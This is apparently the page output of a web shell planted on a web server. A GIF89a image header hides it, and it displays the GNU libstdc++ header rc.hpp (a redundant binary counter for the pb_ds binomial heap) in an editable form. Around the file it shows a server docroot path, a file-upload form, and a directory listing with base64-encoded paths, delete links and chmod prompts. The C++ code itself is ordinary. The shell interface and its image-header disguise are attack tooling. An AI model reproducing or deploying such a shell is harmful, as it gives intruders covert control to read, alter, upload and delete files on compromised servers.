GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>rc.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=cmMuaHBw"><input name="f" value="rc.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file rc_binomial_heap_/rc.hpp
 * Contains a redundant (binary counter).
 */

#ifndef PB_DS_RC_HPP
#define PB_DS_RC_HPP

namespace __gnu_pbds
{
  namespace detail
  {
    /// Redundant binary counter.
    template&lt;typename _Node, typename _Alloc&gt;
    class rc
    {
    private:
      typedef _Alloc 					 allocator_type;
      typedef typename allocator_type::size_type 	 size_type;
      typedef _Node 					 node;

      typedef typename rebind_traits&lt;_Alloc, node&gt;::pointer node_pointer;


      typedef typename rebind_traits&lt;_Alloc, node_pointer&gt;::pointer
	entry_pointer;
      typedef typename rebind_traits&lt;_Alloc, node_pointer&gt;::const_pointer
	entry_const_pointer;

      enum
	{
	  max_entries = sizeof(size_type) &lt;&lt; 3
	};

    public:
      typedef node_pointer 				 entry;
      typedef entry_const_pointer 			 const_iterator;

      rc();

      rc(const rc&amp;);

      inline void
      swap(rc&amp;);

      inline void
      push(entry);

      inline node_pointer
      top() const;

      inline void
      pop();

      _GLIBCXX_NODISCARD inline bool
      empty() const;

      inline size_type
      size() const;

      void
      clear();

      const const_iterator
      begin() const;

      const const_iterator
      end() const;

#ifdef _GLIBCXX_DEBUG
      void
      assert_valid(const char*, int) const;
#endif

#ifdef PB_DS_RC_BINOMIAL_HEAP_TRACE_
      void
      trace() const;
#endif

    private:
      node_pointer 	m_a_entries[max_entries];
      size_type 	m_over_top;
    };

    template&lt;typename _Node, typename _Alloc&gt;
    rc&lt;_Node, _Alloc&gt;::
    rc() : m_over_top(0)
    { PB_DS_ASSERT_VALID((*this)) }

    template&lt;typename _Node, typename _Alloc&gt;
    rc&lt;_Node, _Alloc&gt;::
    rc(const rc&lt;_Node, _Alloc&gt;&amp; other) : m_over_top(0)
    { PB_DS_ASSERT_VALID((*this)) }

    template&lt;typename _Node, typename _Alloc&gt;
    inline void
    rc&lt;_Node, _Alloc&gt;::
    swap(rc&lt;_Node, _Alloc&gt;&amp; other)
    {
      PB_DS_ASSERT_VALID((*this))
      PB_DS_ASSERT_VALID(other)

      const size_type over_top = std::max(m_over_top, other.m_over_top);

      for (size_type i = 0; i &lt; over_top; ++i)
	std::swap(m_a_entries[i], other.m_a_entries[i]);

      std::swap(m_over_top, other.m_over_top);
      PB_DS_ASSERT_VALID((*this))
      PB_DS_ASSERT_VALID(other)
     }

    template&lt;typename _Node, typename _Alloc&gt;
    inline void
    rc&lt;_Node, _Alloc&gt;::
    push(entry p_nd)
    {
      PB_DS_ASSERT_VALID((*this))
      _GLIBCXX_DEBUG_ASSERT(m_over_top &lt; max_entries);
      m_a_entries[m_over_top++] = p_nd;
      PB_DS_ASSERT_VALID((*this))
    }

    template&lt;typename _Node, typename _Alloc&gt;
    inline void
    rc&lt;_Node, _Alloc&gt;::
    pop()
    {
      PB_DS_ASSERT_VALID((*this))
      _GLIBCXX_DEBUG_ASSERT(!empty());
      --m_over_top;
      PB_DS_ASSERT_VALID((*this))
    }

    template&lt;typename _Node, typename _Alloc&gt;
    inline typename rc&lt;_Node, _Alloc&gt;::node_pointer
    rc&lt;_Node, _Alloc&gt;::
    top() const
    {
      PB_DS_ASSERT_VALID((*this))
      _GLIBCXX_DEBUG_ASSERT(!empty());
      return *(m_a_entries + m_over_top - 1);
    }

    template&lt;typename _Node, typename _Alloc&gt;
    _GLIBCXX_NODISCARD inline bool
    rc&lt;_Node, _Alloc&gt;::
    empty() const
    {
      PB_DS_ASSERT_VALID((*this))
      return m_over_top == 0;
    }

    template&lt;typename _Node, typename _Alloc&gt;
    inline typename rc&lt;_Node, _Alloc&gt;::size_type
    rc&lt;_Node, _Alloc&gt;::
    size() const
    { return m_over_top; }

    template&lt;typename _Node, typename _Alloc&gt;
    void
    rc&lt;_Node, _Alloc&gt;::
    clear()
    {
      PB_DS_ASSERT_VALID((*this))
      m_over_top = 0;
      PB_DS_ASSERT_VALID((*this))
    }

    template&lt;typename _Node, typename _Alloc&gt;
    const typename rc&lt;_Node, _Alloc&gt;::const_iterator
    rc&lt;_Node, _Alloc&gt;::
    begin() const
    { return&amp; m_a_entries[0]; }

    template&lt;typename _Node, typename _Alloc&gt;
    const typename rc&lt;_Node, _Alloc&gt;::const_iterator
    rc&lt;_Node, _Alloc&gt;::
    end() const
    { return&amp; m_a_entries[m_over_top]; }

#ifdef _GLIBCXX_DEBUG
    template&lt;typename _Node, typename _Alloc&gt;
    void
    rc&lt;_Node, _Alloc&gt;::
    assert_valid(const char* __file, int __line) const
    { PB_DS_DEBUG_VERIFY(m_over_top &lt; max_entries); }
#endif

#ifdef PB_DS_RC_BINOMIAL_HEAP_TRACE_
    template&lt;typename _Node, typename _Alloc&gt;
    void
    rc&lt;_Node, _Alloc&gt;::
    trace() const
    {
      std::cout &lt;&lt; &quot;rc&quot; &lt;&lt; std::endl;
      for (size_type i = 0; i &lt; m_over_top; ++i)
	std::cerr &lt;&lt; m_a_entries[i] &lt;&lt; std::endl;
      std::cout &lt;&lt; std::endl;
    }
#endif
} // namespace detail
} // namespace __gnu_pbds

#endif
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds/detail/rc_binomial_heap_<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA="/>constructors_destructor_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>2500</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=ZGVidWdfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=ZGVidWdfZm5faW1wcy5ocHA="/>debug_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=ZGVidWdfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>3571</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=ZXJhc2VfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=ZXJhc2VfZm5faW1wcy5ocHA="/>erase_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=ZXJhc2VfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>2922</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=aW5zZXJ0X2ZuX2ltcHMuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=aW5zZXJ0X2ZuX2ltcHMuaHBw"/>insert_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=aW5zZXJ0X2ZuX2ltcHMuaHBw&c=`+btoa(c):0" value="0644"></td><td>4270</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=cmMuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=cmMuaHBw"/>rc.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=cmMuaHBw&c=`+btoa(c):0" value="0644"></td><td>6199</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=cmNfYmlub21pYWxfaGVhcF8uaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=cmNfYmlub21pYWxfaGVhcF8uaHBw"/>rc_binomial_heap_.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=cmNfYmlub21pYWxfaGVhcF8uaHBw&c=`+btoa(c):0" value="0644"></td><td>5303</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA=="/>split_join_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>2451</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&x=dHJhY2VfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=dHJhY2VfZm5faW1wcy5ocHA="/>trace_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL3JjX2Jpbm9taWFsX2hlYXBf&f=dHJhY2VfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>1937</td></tr></table>